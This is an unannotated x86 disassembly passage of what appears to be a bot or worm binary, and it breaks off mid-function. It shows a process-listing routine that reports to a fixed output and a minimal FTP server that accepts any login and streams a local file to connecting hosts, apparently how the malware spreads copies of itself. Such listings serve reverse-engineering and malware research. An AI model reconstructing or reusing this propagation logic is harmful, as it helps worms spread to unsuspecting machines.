; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E660	proc near		; CODE XREF: sub_401613j

var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E660
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E7FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018D9
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E7E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_401681
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401703
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014D8
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	dword ptr [esp+64h+var_50], eax
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jz	short loc_41E7E2
		mov	ebp, dword_50F8D0


loc_41E76E:				; CODE XREF: sub_41E660+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		push	5DCh
		call	ebp ; dword_50F8D0
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40196F
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401802
		test	al, al
		jnz	short loc_41E76E


loc_41E7E2:				; CODE XREF: sub_41E660+62j
					; sub_41E660+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401816
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E660+37j
		lea	ecx, [edi+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8EE
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014D3
		push	eax
		push	offset dword_44402C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41E8EE:				; CODE XREF: sub_41E660+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EA55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016E0
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402144
		add	esp, 4
		test	al, al
		jz	loc_41EA3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B40
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_40145B
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	dword ptr [esp+64h+var_50], edx
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EA3D
		mov	ebx, dword_50F8D0


loc_41E9D6:				; CODE XREF: sub_41E660+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	edi
		push	offset dword_444020
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	5DCh
		call	ebx ; dword_50F8D0
		lea	ecx, [esp+60h+var_50]
		call	sub_40182A
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013ED
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41E9D6


loc_41EA3D:				; CODE XREF: sub_41E660+2CFj
					; sub_41E660+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EA55:				; CODE XREF: sub_41E660+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB4C
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017E4
		push	eax
		call	sub_4019FB
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014D3
		push	eax
		push	offset dword_444018
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41EC17
; ---------------------------------------------------------------------------


loc_41EB4C:				; CODE XREF: sub_41E660+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC15
		push	offset asc_443600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41EC15
		push	offset asc_443600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41EC15
		push	ebx
		push	offset dword_44400C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		push	ebx
		call	sub_4018A7
		add	esp, 1Ch
		jmp	short loc_41EC17
; ---------------------------------------------------------------------------


loc_41EC15:				; CODE XREF: sub_41E660+1F0j
					; sub_41E660+44Ej ...
		xor	al, al


loc_41EC17:				; CODE XREF: sub_41E660+195j
					; sub_41E660+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EDB0:				; CODE XREF: ___:loc_401FE6j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_50F8D0
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EDE0:				; CODE XREF: ___:0041EDF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EDF3
		push	3E8h
		call	edi ; dword_50F8D0
		jmp	short loc_41EDE0
; ---------------------------------------------------------------------------


loc_41EDF3:				; CODE XREF: ___:0041EDE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4472B7
		call	sub_401A32
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EE19:				; DATA XREF: ___:loc_41EE2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EE2C:				; DATA XREF: ___:0044154Co
		mov	eax, offset loc_41EE19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EE70	proc near		; CODE XREF: sub_401DE3j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FBE
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FBE
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FBE
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FBE
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EE70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF30	proc near		; CODE XREF: sub_4020A9j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41EF30
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44768F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41EFB7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E6EDB
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFB7:				; CODE XREF: sub_41EF30+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41EFE7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E6EDB
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F65A
; ---------------------------------------------------------------------------


loc_41EFE7:				; CODE XREF: sub_41EF30+93j
		mov	al, byte_4E6E84
		test	al, al
		jz	loc_41F650
		push	ebx
		mov	ebx, dword_50FB08
		push	ebp
		mov	ebp, dword_50FC8C


loc_41F002:				; CODE XREF: sub_41EF30+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F01D
		push	0FAh
		jmp	loc_41F63B
; ---------------------------------------------------------------------------


loc_41F01D:				; CODE XREF: sub_41EF30+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC1028h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F636
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F641
		mov	cl, byte_447DF8
		test	cl, cl
		jz	short loc_41F0CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44768F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h


loc_41F0CF:				; CODE XREF: sub_41EF30+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_401424
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C5D
		push	eax
		call	sub_4015EB
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FBE
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016AE
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_4440A8 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017E4
		push	eax
		call	ebx ; dword_50FB08
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		call	sub_5EDAB2
		nop
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401A8C
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F595
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F595
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F4C0:				; CODE XREF: sub_41EF30+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		nop
		call	near ptr 77C411FBh
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F513
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp ; dword_50FC8C
		cmp	edi, 1000h
		jz	short loc_41F4C0


loc_41F513:				; CODE XREF: sub_41EF30+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_447DF8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F57C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_447998
		call	sub_4014D3
		push	eax
		push	0
		push	0
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch


loc_41F57C:				; CODE XREF: sub_41EF30+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		nop
		call	near ptr 71AB9639h


loc_41F595:				; CODE XREF: sub_41EF30+55Bj
					; sub_41EF30+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp ; dword_50FC8C
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
